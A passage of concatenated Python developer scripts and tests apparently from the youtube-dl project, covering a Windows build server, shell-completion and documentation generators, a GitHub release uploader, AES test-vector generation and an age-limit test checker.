        self.assertEqual(ie._og_search_property('foobar', html), 'Foo')
        self.assertEqual(ie._og_search_property('test1', html), 'foo > < bar')
        self.assertEqual(ie._og_search_property('test2', html), 'foo >//< bar')
        self.assertEqual(ie._og_search_property(('test0', 'test1'), html), 'foo > < bar')
        self.assertRaises(RegexNotFoundError, ie._og_search_property, 'test0', html, None, fatal=True)
        self.assertRaises(RegexNotFoundError, ie._og_search_property, ('test0', 'test00'), html, None, fatal=True)

    def test_html_search_meta(self):
        ie = self.ie
        html = '''
            <meta name="a" content="1" />
            <meta name='b' content='2'>
            <meta name="c" content='3'>
            <meta name=d content='4'>
            <meta property="e" content='5' >
            <meta content="6" name="f">
        '''

        self.assertEqual(ie._html_search_meta('a', html), '1')
        self.assertEqual(ie._html_search_meta('b', html), '2')
        self.assertEqual(ie._html_search_meta('c', html), '3')
        self.assertEqual(ie._html_search_meta('d', html), '4')
        self.assertEqual(ie._html_search_meta('e', html), '5')
        self.assertEqual(ie._html_search_meta('f', html), '6')
        self.assertEqual(ie._html_search_meta(('a', 'b', 'c'), html), '1')
        self.assertEqual(ie._html_search_meta(('c', 'b', 'a'), html), '3')
        self.assertEqual(ie._html_search_meta(('z', 'x', 'c'), html), '3')
        self.assertRaises(RegexNotFoundError, ie._html_search_meta, 'z', html, None, fatal=True)
        self.assertRaises(RegexNotFoundError, ie._html_search_meta, ('z', 'x'), html, None, fatal=True)

    def test_download_json(self):
        uri = encode_data_uri(b'{"foo": "blah"}', 'application/json')
        self.assertEqual(self.ie._download_json(uri, None), {'foo': 'blah'})
        uri = encode_data_uri(b'callback({"foo": "blah"})', 'application/javascript')
        self.assertEqual(self.ie._download_json(uri, None, transform_source=strip_jsonp), {'foo': 'blah'})
        uri = encode_data_uri(b'{"foo": invalid}', 'application/json')
        self.assertRaises(ExtractorError, self.ie._download_json, uri, None)
        self.assertEqual(self.ie._download_json(uri, None, fatal=False), None)

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/python3

import argparse
import ctypes
import functools
import shutil
import subprocess
import sys
import tempfile
import threading
import traceback
import os.path

sys.path.insert(0, os.path.dirname(os.path.dirname((os.path.abspath(__file__)))))
from youtube_dl.compat import (
    compat_input,
    compat_http_server,
    compat_str,
    compat_urlparse,
)

# These are not used outside of buildserver.py thus not in compat.py

try:
    import winreg as compat_winreg
except ImportError:  # Python 2
    import _winreg as compat_winreg

try:
    import socketserver as compat_socketserver
except ImportError:  # Python 2
    import SocketServer as compat_socketserver


class BuildHTTPServer(compat_socketserver.ThreadingMixIn, compat_http_server.HTTPServer):
    allow_reuse_address = True


advapi32 = ctypes.windll.advapi32

SC_MANAGER_ALL_ACCESS = 0xf003f
SC_MANAGER_CREATE_SERVICE = 0x02
SERVICE_WIN32_OWN_PROCESS = 0x10
SERVICE_AUTO_START = 0x2
SERVICE_ERROR_NORMAL = 0x1
DELETE = 0x00010000
SERVICE_STATUS_START_PENDING = 0x00000002
SERVICE_STATUS_RUNNING = 0x00000004
SERVICE_ACCEPT_STOP = 0x1

SVCNAME = 'youtubedl_builder'

LPTSTR = ctypes.c_wchar_p
START_CALLBACK = ctypes.WINFUNCTYPE(None, ctypes.c_int, ctypes.POINTER(LPTSTR))


class SERVICE_TABLE_ENTRY(ctypes.Structure):
    _fields_ = [
        ('lpServiceName', LPTSTR),
        ('lpServiceProc', START_CALLBACK)
    ]


HandlerEx = ctypes.WINFUNCTYPE(
    ctypes.c_int,     # return
    ctypes.c_int,     # dwControl
    ctypes.c_int,     # dwEventType
    ctypes.c_void_p,  # lpEventData,
    ctypes.c_void_p,  # lpContext,
)


def _ctypes_array(c_type, py_array):
    ar = (c_type * len(py_array))()
    ar[:] = py_array
    return ar


def win_OpenSCManager():
    res = advapi32.OpenSCManagerW(None, None, SC_MANAGER_ALL_ACCESS)
    if not res:
        raise Exception('Opening service manager failed - '
                        'are you running this as administrator?')
    return res


def win_install_service(service_name, cmdline):
    manager = win_OpenSCManager()
    try:
        h = advapi32.CreateServiceW(
            manager, service_name, None,
            SC_MANAGER_CREATE_SERVICE, SERVICE_WIN32_OWN_PROCESS,
            SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
            cmdline, None, None, None, None, None)
        if not h:
            raise OSError('Service creation failed: %s' % ctypes.FormatError())

        advapi32.CloseServiceHandle(h)
    finally:
        advapi32.CloseServiceHandle(manager)


def win_uninstall_service(service_name):
    manager = win_OpenSCManager()
    try:
        h = advapi32.OpenServiceW(manager, service_name, DELETE)
        if not h:
            raise OSError('Could not find service %s: %s' % (
                service_name, ctypes.FormatError()))

        try:
            if not advapi32.DeleteService(h):
                raise OSError('Deletion failed: %s' % ctypes.FormatError())
        finally:
            advapi32.CloseServiceHandle(h)
    finally:
        advapi32.CloseServiceHandle(manager)


def win_service_report_event(service_name, msg, is_error=True):
    with open('C:/sshkeys/log', 'a', encoding='utf-8') as f:
        f.write(msg + '\n')

    event_log = advapi32.RegisterEventSourceW(None, service_name)
    if not event_log:
        raise OSError('Could not report event: %s' % ctypes.FormatError())

    try:
        type_id = 0x0001 if is_error else 0x0004
        event_id = 0xc0000000 if is_error else 0x40000000
        lines = _ctypes_array(LPTSTR, [msg])

        if not advapi32.ReportEventW(
                event_log, type_id, 0, event_id, None, len(lines), 0,
                lines, None):
            raise OSError('Event reporting failed: %s' % ctypes.FormatError())
    finally:
        advapi32.DeregisterEventSource(event_log)


def win_service_handler(stop_event, *args):
    try:
        raise ValueError('Handler called with args ' + repr(args))
        TODO
    except Exception as e:
        tb = traceback.format_exc()
        msg = str(e) + '\n' + tb
        win_service_report_event(service_name, msg, is_error=True)
        raise


def win_service_set_status(handle, status_code):
    svcStatus = SERVICE_STATUS()
    svcStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS
    svcStatus.dwCurrentState = status_code
    svcStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP

    svcStatus.dwServiceSpecificExitCode = 0

    if not advapi32.SetServiceStatus(handle, ctypes.byref(svcStatus)):
        raise OSError('SetServiceStatus failed: %r' % ctypes.FormatError())


def win_service_main(service_name, real_main, argc, argv_raw):
    try:
        # args = [argv_raw[i].value for i in range(argc)]
        stop_event = threading.Event()
        handler = HandlerEx(functools.partial(stop_event, win_service_handler))
        h = advapi32.RegisterServiceCtrlHandlerExW(service_name, handler, None)
        if not h:
            raise OSError('Handler registration failed: %s' %
                          ctypes.FormatError())

        TODO
    except Exception as e:
        tb = traceback.format_exc()
        msg = str(e) + '\n' + tb
        win_service_report_event(service_name, msg, is_error=True)
        raise


def win_service_start(service_name, real_main):
    try:
        cb = START_CALLBACK(
            functools.partial(win_service_main, service_name, real_main))
        dispatch_table = _ctypes_array(SERVICE_TABLE_ENTRY, [
            SERVICE_TABLE_ENTRY(
                service_name,
                cb
            ),
            SERVICE_TABLE_ENTRY(None, ctypes.cast(None, START_CALLBACK))
        ])

        if not advapi32.StartServiceCtrlDispatcherW(dispatch_table):
            raise OSError('ctypes start failed: %s' % ctypes.FormatError())
    except Exception as e:
        tb = traceback.format_exc()
        msg = str(e) + '\n' + tb
        win_service_report_event(service_name, msg, is_error=True)
        raise


def main(args=None):
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--install',
                        action='store_const', dest='action', const='install',
                        help='Launch at Windows startup')
    parser.add_argument('-u', '--uninstall',
                        action='store_const', dest='action', const='uninstall',
                        help='Remove Windows service')
    parser.add_argument('-s', '--service',
                        action='store_const', dest='action', const='service',
                        help='Run as a Windows service')
    parser.add_argument('-b', '--bind', metavar='<host:port>',
                        action='store', default='0.0.0.0:8142',
                        help='Bind to host:port (default %default)')
    options = parser.parse_args(args=args)

    if options.action == 'install':
        fn = os.path.abspath(__file__).replace('v:', '\\\\vboxsrv\\vbox')
        cmdline = '%s %s -s -b %s' % (sys.executable, fn, options.bind)
        win_install_service(SVCNAME, cmdline)
        return

    if options.action == 'uninstall':
        win_uninstall_service(SVCNAME)
        return

    if options.action == 'service':
        win_service_start(SVCNAME, main)
        return

    host, port_str = options.bind.split(':')
    port = int(port_str)

    print('Listening on %s:%d' % (host, port))
    srv = BuildHTTPServer((host, port), BuildHTTPRequestHandler)
    thr = threading.Thread(target=srv.serve_forever)
    thr.start()
    compat_input('Press ENTER to shut down')
    srv.shutdown()
    thr.join()


def rmtree(path):
    for name in os.listdir(path):
        fname = os.path.join(path, name)
        if os.path.isdir(fname):
            rmtree(fname)
        else:
            os.chmod(fname, 0o666)
            os.remove(fname)
    os.rmdir(path)


class BuildError(Exception):
    def __init__(self, output, code=500):
        self.output = output
        self.code = code

    def __str__(self):
        return self.output


class HTTPError(BuildError):
    pass


class PythonBuilder(object):
    def __init__(self, **kwargs):
        python_version = kwargs.pop('python', '3.4')
        python_path = None
        for node in ('Wow6432Node\\', ''):
            try:
                key = compat_winreg.OpenKey(
                    compat_winreg.HKEY_LOCAL_MACHINE,
                    r'SOFTWARE\%sPython\PythonCore\%s\InstallPath' % (node, python_version))
                try:
                    python_path, _ = compat_winreg.QueryValueEx(key, '')
                finally:
                    compat_winreg.CloseKey(key)
                break
            except Exception:
                pass

        if not python_path:
            raise BuildError('No such Python version: %s' % python_version)

        self.pythonPath = python_path

        super(PythonBuilder, self).__init__(**kwargs)


class GITInfoBuilder(object):
    def __init__(self, **kwargs):
        try:
            self.user, self.repoName = kwargs['path'][:2]
            self.rev = kwargs.pop('rev')
        except ValueError:
            raise BuildError('Invalid path')
        except KeyError as e:
            raise BuildError('Missing mandatory parameter "%s"' % e.args[0])

        path = os.path.join(os.environ['APPDATA'], 'Build archive', self.repoName, self.user)
        if not os.path.exists(path):
            os.makedirs(path)
        self.basePath = tempfile.mkdtemp(dir=path)
        self.buildPath = os.path.join(self.basePath, 'build')

        super(GITInfoBuilder, self).__init__(**kwargs)


class GITBuilder(GITInfoBuilder):
    def build(self):
        try:
            subprocess.check_output(['git', 'clone', 'git://github.com/%s/%s.git' % (self.user, self.repoName), self.buildPath])
            subprocess.check_output(['git', 'checkout', self.rev], cwd=self.buildPath)
        except subprocess.CalledProcessError as e:
            raise BuildError(e.output)

        super(GITBuilder, self).build()


class YoutubeDLBuilder(object):
    authorizedUsers = ['fraca7', 'phihag', 'rg3', 'FiloSottile']

    def __init__(self, **kwargs):
        if self.repoName != 'youtube-dl':
            raise BuildError('Invalid repository "%s"' % self.repoName)
        if self.user not in self.authorizedUsers:
            raise HTTPError('Unauthorized user "%s"' % self.user, 401)

        super(YoutubeDLBuilder, self).__init__(**kwargs)

    def build(self):
        try:
            proc = subprocess.Popen([os.path.join(self.pythonPath, 'python.exe'), 'setup.py', 'py2exe'], stdin=subprocess.PIPE, cwd=self.buildPath)
            proc.wait()
            #subprocess.check_output([os.path.join(self.pythonPath, 'python.exe'), 'setup.py', 'py2exe'],
            #                        cwd=self.buildPath)
        except subprocess.CalledProcessError as e:
            raise BuildError(e.output)

        super(YoutubeDLBuilder, self).build()


class DownloadBuilder(object):
    def __init__(self, **kwargs):
        self.handler = kwargs.pop('handler')
        self.srcPath = os.path.join(self.buildPath, *tuple(kwargs['path'][2:]))
        self.srcPath = os.path.abspath(os.path.normpath(self.srcPath))
        if not self.srcPath.startswith(self.buildPath):
            raise HTTPError(self.srcPath, 401)

        super(DownloadBuilder, self).__init__(**kwargs)

    def build(self):
        if not os.path.exists(self.srcPath):
            raise HTTPError('No such file', 404)
        if os.path.isdir(self.srcPath):
            raise HTTPError('Is a directory: %s' % self.srcPath, 401)

        self.handler.send_response(200)
        self.handler.send_header('Content-Type', 'application/octet-stream')
        self.handler.send_header('Content-Disposition', 'attachment; filename=%s' % os.path.split(self.srcPath)[-1])
        self.handler.send_header('Content-Length', str(os.stat(self.srcPath).st_size))
        self.handler.end_headers()

        with open(self.srcPath, 'rb') as src:
            shutil.copyfileobj(src, self.handler.wfile)

        super(DownloadBuilder, self).build()


class CleanupTempDir(object):
    def build(self):
        try:
            rmtree(self.basePath)
        except Exception as e:
            print('WARNING deleting "%s": %s' % (self.basePath, e))

        super(CleanupTempDir, self).build()


class Null(object):
    def __init__(self, **kwargs):
        pass

    def start(self):
        pass

    def close(self):
        pass

    def build(self):
        pass


class Builder(PythonBuilder, GITBuilder, YoutubeDLBuilder, DownloadBuilder, CleanupTempDir, Null):
    pass


class BuildHTTPRequestHandler(compat_http_server.BaseHTTPRequestHandler):
    actionDict = {'build': Builder, 'download': Builder}  # They're the same, no more caching.

    def do_GET(self):
        path = compat_urlparse.urlparse(self.path)
        paramDict = dict([(key, value[0]) for key, value in compat_urlparse.parse_qs(path.query).items()])
        action, _, path = path.path.strip('/').partition('/')
        if path:
            path = path.split('/')
            if action in self.actionDict:
                try:
                    builder = self.actionDict[action](path=path, handler=self, **paramDict)
                    builder.start()
                    try:
                        builder.build()
                    finally:
                        builder.close()
                except BuildError as e:
                    self.send_response(e.code)
                    msg = compat_str(e).encode('UTF-8')
                    self.send_header('Content-Type', 'text/plain; charset=UTF-8')
                    self.send_header('Content-Length', len(msg))
                    self.end_headers()
                    self.wfile.write(msg)
                except HTTPError as e:
                    self.send_response(e.code, str(e))
            else:
                self.send_response(500, 'Unknown build method "%s"' % action)
        else:
            self.send_response(500, 'Malformed URL')

if __name__ == '__main__':
    main()






#!/usr/bin/env python
from __future__ import unicode_literals

import io
import optparse
import os
import sys


# Import youtube_dl
ROOT_DIR = os.path.join(os.path.dirname(__file__), '..')
sys.path.insert(0, ROOT_DIR)
import youtube_dl


def main():
    parser = optparse.OptionParser(usage='%prog OUTFILE.md')
    options, args = parser.parse_args()
    if len(args) != 1:
        parser.error('Expected an output filename')

    outfile, = args

    def gen_ies_md(ies):
        for ie in ies:
            ie_md = '**{0}**'.format(ie.IE_NAME)
            ie_desc = getattr(ie, 'IE_DESC', None)
            if ie_desc is False:
                continue
            if ie_desc is not None:
                ie_md += ': {0}'.format(ie.IE_DESC)
            if not ie.working():
                ie_md += ' (Currently broken)'
            yield ie_md

    ies = sorted(youtube_dl.gen_extractors(), key=lambda i: i.IE_NAME.lower())
    out = '# Supported sites\n' + ''.join(
        ' - ' + md + '\n'
        for md in gen_ies_md(ies))

    with io.open(outfile, 'w', encoding='utf-8') as outf:
        outf.write(out)

if __name__ == '__main__':
    main()






#!/usr/bin/env python
from __future__ import unicode_literals

import os
from os.path import dirname as dirn
import sys

sys.path.insert(0, dirn(dirn((os.path.abspath(__file__)))))
import youtube_dl

ZSH_COMPLETION_FILE = "youtube-dl.zsh"
ZSH_COMPLETION_TEMPLATE = "devscripts/zsh-completion.in"


def build_completion(opt_parser):
    opts = [opt for group in opt_parser.option_groups
            for opt in group.option_list]
    opts_file = [opt for opt in opts if opt.metavar == "FILE"]
    opts_dir = [opt for opt in opts if opt.metavar == "DIR"]

    fileopts = []
    for opt in opts_file:
        if opt._short_opts:
            fileopts.extend(opt._short_opts)
        if opt._long_opts:
            fileopts.extend(opt._long_opts)

    diropts = []
    for opt in opts_dir:
        if opt._short_opts:
            diropts.extend(opt._short_opts)
        if opt._long_opts:
            diropts.extend(opt._long_opts)

    flags = [opt.get_opt_string() for opt in opts]

    with open(ZSH_COMPLETION_TEMPLATE) as f:
        template = f.read()

    template = template.replace("{{fileopts}}", "|".join(fileopts))
    template = template.replace("{{diropts}}", "|".join(diropts))
    template = template.replace("{{flags}}", " ".join(flags))

    with open(ZSH_COMPLETION_FILE, "w") as f:
        f.write(template)

parser = youtube_dl.parseOpts()[0]
build_completion(parser)






#!/usr/bin/env python
from __future__ import unicode_literals

import os
from os.path import dirname as dirn
import sys

sys.path.insert(0, dirn(dirn((os.path.abspath(__file__)))))
import youtube_dl

BASH_COMPLETION_FILE = "youtube-dl.bash-completion"
BASH_COMPLETION_TEMPLATE = "devscripts/bash-completion.in"


def build_completion(opt_parser):
    opts_flag = []
    for group in opt_parser.option_groups:
        for option in group.option_list:
            # for every long flag
            opts_flag.append(option.get_opt_string())
    with open(BASH_COMPLETION_TEMPLATE) as f:
        template = f.read()
    with open(BASH_COMPLETION_FILE, "w") as f:
        # just using the special char
        filled_template = template.replace("{{flags}}", " ".join(opts_flag))
        f.write(filled_template)

parser = youtube_dl.parseOpts()[0]
build_completion(parser)






#!/usr/bin/env python
from __future__ import unicode_literals

import optparse
import os
from os.path import dirname as dirn
import sys

sys.path.insert(0, dirn(dirn((os.path.abspath(__file__)))))
import youtube_dl
from youtube_dl.utils import shell_quote

FISH_COMPLETION_FILE = 'youtube-dl.fish'
FISH_COMPLETION_TEMPLATE = 'devscripts/fish-completion.in'

EXTRA_ARGS = {
    'recode-video': ['--arguments', 'mp4 flv ogg webm mkv', '--exclusive'],

    # Options that need a file parameter
    'download-archive': ['--require-parameter'],
    'cookies': ['--require-parameter'],
    'load-info': ['--require-parameter'],
    'batch-file': ['--require-parameter'],
}


def build_completion(opt_parser):
    commands = []

    for group in opt_parser.option_groups:
        for option in group.option_list:
            long_option = option.get_opt_string().strip('-')
            complete_cmd = ['complete', '--command', 'youtube-dl', '--long-option', long_option]
            if option._short_opts:
                complete_cmd += ['--short-option', option._short_opts[0].strip('-')]
            if option.help != optparse.SUPPRESS_HELP:
                complete_cmd += ['--description', option.help]
            complete_cmd.extend(EXTRA_ARGS.get(long_option, []))
            commands.append(shell_quote(complete_cmd))

    with open(FISH_COMPLETION_TEMPLATE) as f:
        template = f.read()
    filled_template = template.replace('{{commands}}', '\n'.join(commands))
    with open(FISH_COMPLETION_FILE, 'w') as f:
        f.write(filled_template)

parser = youtube_dl.parseOpts()[0]
build_completion(parser)






#!/usr/bin/env python
from __future__ import unicode_literals

import itertools
import json
import os
import re
import sys

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.compat import (
    compat_print,
    compat_urllib_request,
)
from youtube_dl.utils import format_bytes


def format_size(bytes):
    return '%s (%d bytes)' % (format_bytes(bytes), bytes)


total_bytes = 0

for page in itertools.count(1):
    releases = json.loads(compat_urllib_request.urlopen(
        'https://api.github.com/repos/rg3/youtube-dl/releases?page=%s' % page
    ).read().decode('utf-8'))

    if not releases:
        break

    for release in releases:
        compat_print(release['name'])
        for asset in release['assets']:
            asset_name = asset['name']
            total_bytes += asset['download_count'] * asset['size']
            if all(not re.match(p, asset_name) for p in (
                    r'^youtube-dl$',
                    r'^youtube-dl-\d{4}\.\d{2}\.\d{2}(?:\.\d+)?\.tar\.gz$',
                    r'^youtube-dl\.exe$')):
                continue
            compat_print(
                ' %s size: %s downloads: %d'
                % (asset_name, format_size(asset['size']), asset['download_count']))

compat_print('total downloads traffic: %s' % format_size(total_bytes))






from __future__ import unicode_literals, print_function

from inspect import getsource
import os
from os.path import dirname as dirn
import sys

print('WARNING: Lazy loading extractors is an experimental feature that may not always work', file=sys.stderr)

sys.path.insert(0, dirn(dirn((os.path.abspath(__file__)))))

lazy_extractors_filename = sys.argv[1]
if os.path.exists(lazy_extractors_filename):
    os.remove(lazy_extractors_filename)

from youtube_dl.extractor import _ALL_CLASSES
from youtube_dl.extractor.common import InfoExtractor, SearchInfoExtractor

with open('devscripts/lazy_load_template.py', 'rt') as f:
    module_template = f.read()

module_contents = [
    module_template + '\n' + getsource(InfoExtractor.suitable) + '\n',
    'class LazyLoadSearchExtractor(LazyLoadExtractor):\n    pass\n']

ie_template = '''
class {name}({bases}):
    _VALID_URL = {valid_url!r}
    _module = '{module}'
'''

make_valid_template = '''
    @classmethod
    def _make_valid_url(cls):
        return {valid_url!r}
'''


def get_base_name(base):
    if base is InfoExtractor:
        return 'LazyLoadExtractor'
    elif base is SearchInfoExtractor:
        return 'LazyLoadSearchExtractor'
    else:
        return base.__name__


def build_lazy_ie(ie, name):
    valid_url = getattr(ie, '_VALID_URL', None)
    s = ie_template.format(
        name=name,
        bases=', '.join(map(get_base_name, ie.__bases__)),
        valid_url=valid_url,
        module=ie.__module__)
    if ie.suitable.__func__ is not InfoExtractor.suitable.__func__:
        s += '\n' + getsource(ie.suitable)
    if hasattr(ie, '_make_valid_url'):
        # search extractors
        s += make_valid_template.format(valid_url=ie._make_valid_url())
    return s

# find the correct sorting and add the required base classes so that sublcasses
# can be correctly created
classes = _ALL_CLASSES[:-1]
ordered_cls = []
while classes:
    for c in classes[:]:
        bases = set(c.__bases__) - set((object, InfoExtractor, SearchInfoExtractor))
        stop = False
        for b in bases:
            if b not in classes and b not in ordered_cls:
                if b.__name__ == 'GenericIE':
                    exit()
                classes.insert(0, b)
                stop = True
        if stop:
            break
        if all(b in ordered_cls for b in bases):
            ordered_cls.append(c)
            classes.remove(c)
            break
ordered_cls.append(_ALL_CLASSES[-1])

names = []
for ie in ordered_cls:
    name = ie.__name__
    src = build_lazy_ie(ie, name)
    module_contents.append(src)
    if ie in _ALL_CLASSES:
        names.append(name)

module_contents.append(
    '_ALL_CLASSES = [{0}]'.format(', '.join(names)))

module_src = '\n'.join(module_contents) + '\n'

with open(lazy_extractors_filename, 'wt') as f:
    f.write(module_src)






#!/usr/bin/env python
from __future__ import unicode_literals

import io
import optparse


def main():
    parser = optparse.OptionParser(usage='%prog INFILE OUTFILE')
    options, args = parser.parse_args()
    if len(args) != 2:
        parser.error('Expected an input and an output filename')

    infile, outfile = args

    with io.open(infile, encoding='utf-8') as inf:
        issue_template_tmpl = inf.read()

    # Get the version from youtube_dl/version.py without importing the package
    exec(compile(open('youtube_dl/version.py').read(),
                 'youtube_dl/version.py', 'exec'))

    out = issue_template_tmpl % {'version': locals()['__version__']}

    with io.open(outfile, 'w', encoding='utf-8') as outf:
        outf.write(out)

if __name__ == '__main__':
    main()






# encoding: utf-8
from __future__ import unicode_literals

import re


class LazyLoadExtractor(object):
    _module = None

    @classmethod
    def ie_key(cls):
        return cls.__name__[:-2]

    def __new__(cls, *args, **kwargs):
        mod = __import__(cls._module, fromlist=(cls.__name__,))
        real_cls = getattr(mod, cls.__name__)
        instance = real_cls.__new__(real_cls)
        instance.__init__(*args, **kwargs)
        return instance






from __future__ import unicode_literals

import io
import sys
import re

README_FILE = 'README.md'
helptext = sys.stdin.read()

if isinstance(helptext, bytes):
    helptext = helptext.decode('utf-8')

with io.open(README_FILE, encoding='utf-8') as f:
    oldreadme = f.read()

header = oldreadme[:oldreadme.index('# OPTIONS')]
footer = oldreadme[oldreadme.index('# CONFIGURATION'):]

options = helptext[helptext.index('  General Options:') + 19:]
options = re.sub(r'(?m)^  (\w.+)$', r'## \1', options)
options = '# OPTIONS\n' + options + '\n'

with io.open(README_FILE, 'w', encoding='utf-8') as f:
    f.write(header)
    f.write(options)
    f.write(footer)






from __future__ import unicode_literals

import codecs
import subprocess

import os
import sys
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.utils import intlist_to_bytes
from youtube_dl.aes import aes_encrypt, key_expansion

secret_msg = b'Secret message goes here'


def hex_str(int_list):
    return codecs.encode(intlist_to_bytes(int_list), 'hex')


def openssl_encode(algo, key, iv):
    cmd = ['openssl', 'enc', '-e', '-' + algo, '-K', hex_str(key), '-iv', hex_str(iv)]
    prog = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    out, _ = prog.communicate(secret_msg)
    return out

iv = key = [0x20, 0x15] + 14 * [0]

r = openssl_encode('aes-128-cbc', key, iv)
print('aes_cbc_decrypt')
print(repr(r))

password = key
new_key = aes_encrypt(password, key_expansion(password))
r = openssl_encode('aes-128-ctr', new_key, iv)
print('aes_decrypt_text 16')
print(repr(r))

password = key + 16 * [0]
new_key = aes_encrypt(password, key_expansion(password)) * (32 // 16)
r = openssl_encode('aes-256-ctr', new_key, iv)
print('aes_decrypt_text 32')
print(repr(r))






#!/usr/bin/env python
from __future__ import unicode_literals

import base64
import json
import mimetypes
import netrc
import optparse
import os
import sys

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.compat import (
    compat_basestring,
    compat_input,
    compat_getpass,
    compat_print,
    compat_urllib_request,
)
from youtube_dl.utils import (
    make_HTTPS_handler,
    sanitized_Request,
)


class GitHubReleaser(object):
    _API_URL = 'https://api.github.com/repos/rg3/youtube-dl/releases'
    _UPLOADS_URL = 'https://uploads.github.com/repos/rg3/youtube-dl/releases/%s/assets?name=%s'
    _NETRC_MACHINE = 'github.com'

    def __init__(self, debuglevel=0):
        self._init_github_account()
        https_handler = make_HTTPS_handler({}, debuglevel=debuglevel)
        self._opener = compat_urllib_request.build_opener(https_handler)

    def _init_github_account(self):
        try:
            info = netrc.netrc().authenticators(self._NETRC_MACHINE)
            if info is not None:
                self._username = info[0]
                self._password = info[2]
                compat_print('Using GitHub credentials found in .netrc...')
                return
            else:
                compat_print('No GitHub credentials found in .netrc')
        except (IOError, netrc.NetrcParseError):
            compat_print('Unable to parse .netrc')
        self._username = compat_input(
            'Type your GitHub username or email address and press [Return]: ')
        self._password = compat_getpass(
            'Type your GitHub password and press [Return]: ')

    def _call(self, req):
        if isinstance(req, compat_basestring):
            req = sanitized_Request(req)
        # Authorizing manually since GitHub does not response with 401 with
        # WWW-Authenticate header set (see
        # https://developer.github.com/v3/#basic-authentication)
        b64 = base64.b64encode(
            ('%s:%s' % (self._username, self._password)).encode('utf-8')).decode('ascii')
        req.add_header('Authorization', 'Basic %s' % b64)
        response = self._opener.open(req).read().decode('utf-8')
        return json.loads(response)

    def list_releases(self):
        return self._call(self._API_URL)

    def create_release(self, tag_name, name=None, body='', draft=False, prerelease=False):
        data = {
            'tag_name': tag_name,
            'target_commitish': 'master',
            'name': name,
            'body': body,
            'draft': draft,
            'prerelease': prerelease,
        }
        req = sanitized_Request(self._API_URL, json.dumps(data).encode('utf-8'))
        return self._call(req)

    def create_asset(self, release_id, asset):
        asset_name = os.path.basename(asset)
        url = self._UPLOADS_URL % (release_id, asset_name)
        # Our files are small enough to be loaded directly into memory.
        data = open(asset, 'rb').read()
        req = sanitized_Request(url, data)
        mime_type, _ = mimetypes.guess_type(asset_name)
        req.add_header('Content-Type', mime_type or 'application/octet-stream')
        return self._call(req)


def main():
    parser = optparse.OptionParser(usage='%prog VERSION BUILDPATH')
    options, args = parser.parse_args()
    if len(args) != 2:
        parser.error('Expected a version and a build directory')

    version, build_path = args

    releaser = GitHubReleaser()

    new_release = releaser.create_release(version, name='youtube-dl %s' % version)
    release_id = new_release['id']

    for asset in os.listdir(build_path):
        compat_print('Uploading %s...' % asset)
        releaser.create_asset(release_id, os.path.join(build_path, asset))


if __name__ == '__main__':
    main()






from __future__ import unicode_literals

import io
import optparse
import os.path
import re

ROOT_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
README_FILE = os.path.join(ROOT_DIR, 'README.md')

PREFIX = '''%YOUTUBE-DL(1)

# NAME

youtube\-dl \- download videos from youtube.com or other video platforms

# SYNOPSIS

**youtube-dl** \[OPTIONS\] URL [URL...]

'''


def main():
    parser = optparse.OptionParser(usage='%prog OUTFILE.md')
    options, args = parser.parse_args()
    if len(args) != 1:
        parser.error('Expected an output filename')

    outfile, = args

    with io.open(README_FILE, encoding='utf-8') as f:
        readme = f.read()

    readme = re.sub(r'(?s)^.*?(?=# DESCRIPTION)', '', readme)
    readme = re.sub(r'\s+youtube-dl \[OPTIONS\] URL \[URL\.\.\.\]', '', readme)
    readme = PREFIX + readme

    readme = filter_options(readme)

    with io.open(outfile, 'w', encoding='utf-8') as outf:
        outf.write(readme)


def filter_options(readme):
    ret = ''
    in_options = False
    for line in readme.split('\n'):
        if line.startswith('# '):
            if line[2:].startswith('OPTIONS'):
                in_options = True
            else:
                in_options = False

        if in_options:
            if line.lstrip().startswith('-'):
                split = re.split(r'\s{2,}', line.lstrip())
                # Description string may start with `-` as well. If there is
                # only one piece then it's a description bit not an option.
                if len(split) > 1:
                    option, description = split
                    split_option = option.split(' ')

                    if not split_option[-1].startswith('-'):  # metavar
                        option = ' '.join(split_option[:-1] + ['*%s*' % split_option[-1]])

                    # Pandoc's definition_lists. See http://pandoc.org/README.html
                    # for more information.
                    ret += '\n%s\n:   %s\n' % (option, description)
                    continue
            ret += line.lstrip() + '\n'
        else:
            ret += line + '\n'

    return ret

if __name__ == '__main__':
    main()






#!/usr/bin/env python
from __future__ import unicode_literals

"""
This script employs a VERY basic heuristic ('porn' in webpage.lower()) to check
if we are not 'age_limit' tagging some porn site

A second approach implemented relies on a list of porn domains, to activate it
pass the list filename as the only argument
"""

# Allow direct execution
import os
import sys
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import get_testcases
from youtube_dl.utils import compat_urllib_parse_urlparse
from youtube_dl.utils import compat_urllib_request

if len(sys.argv) > 1:
    METHOD = 'LIST'
    LIST = open(sys.argv[1]).read().decode('utf8').strip()
else:
    METHOD = 'EURISTIC'

for test in get_testcases():
    if METHOD == 'EURISTIC':
        try:
            webpage = compat_urllib_request.urlopen(test['url'], timeout=10).read()
        except Exception:
            print('\nFail: {0}'.format(test['name']))
            continue

        webpage = webpage.decode('utf8', 'replace')

        RESULT = 'porn' in webpage.lower()

    elif METHOD == 'LIST':
        domain = compat_urllib_parse_urlparse(test['url']).netloc
        if not domain:
            print('\nFail: {0}'.format(test['name']))
            continue
        domain = '.'.join(domain.split('.')[-2:])

        RESULT = ('.' + domain + '\n' in LIST or '\n' + domain + '\n' in LIST)

    if RESULT and ('info_dict' not in test or 'age_limit' not in test['info_dict'] or
                   test['info_dict']['age_limit'] != 18):
        print('\nPotential missing age_limit check: {0}'.format(test['name']))

    elif not RESULT and ('info_dict' in test and 'age_limit' in test['info_dict'] and
                         test['info_dict']['age_limit'] == 18):
        print('\nPotential false negative: {0}'.format(test['name']))

    else:
        sys.stdout.write('.')
    sys.stdout.flush()

print()






#!/usr/bin/env python
from __future__ import unicode_literals

import io
import optparse
import re


def main():
    parser = optparse.OptionParser(usage='%prog INFILE OUTFILE')
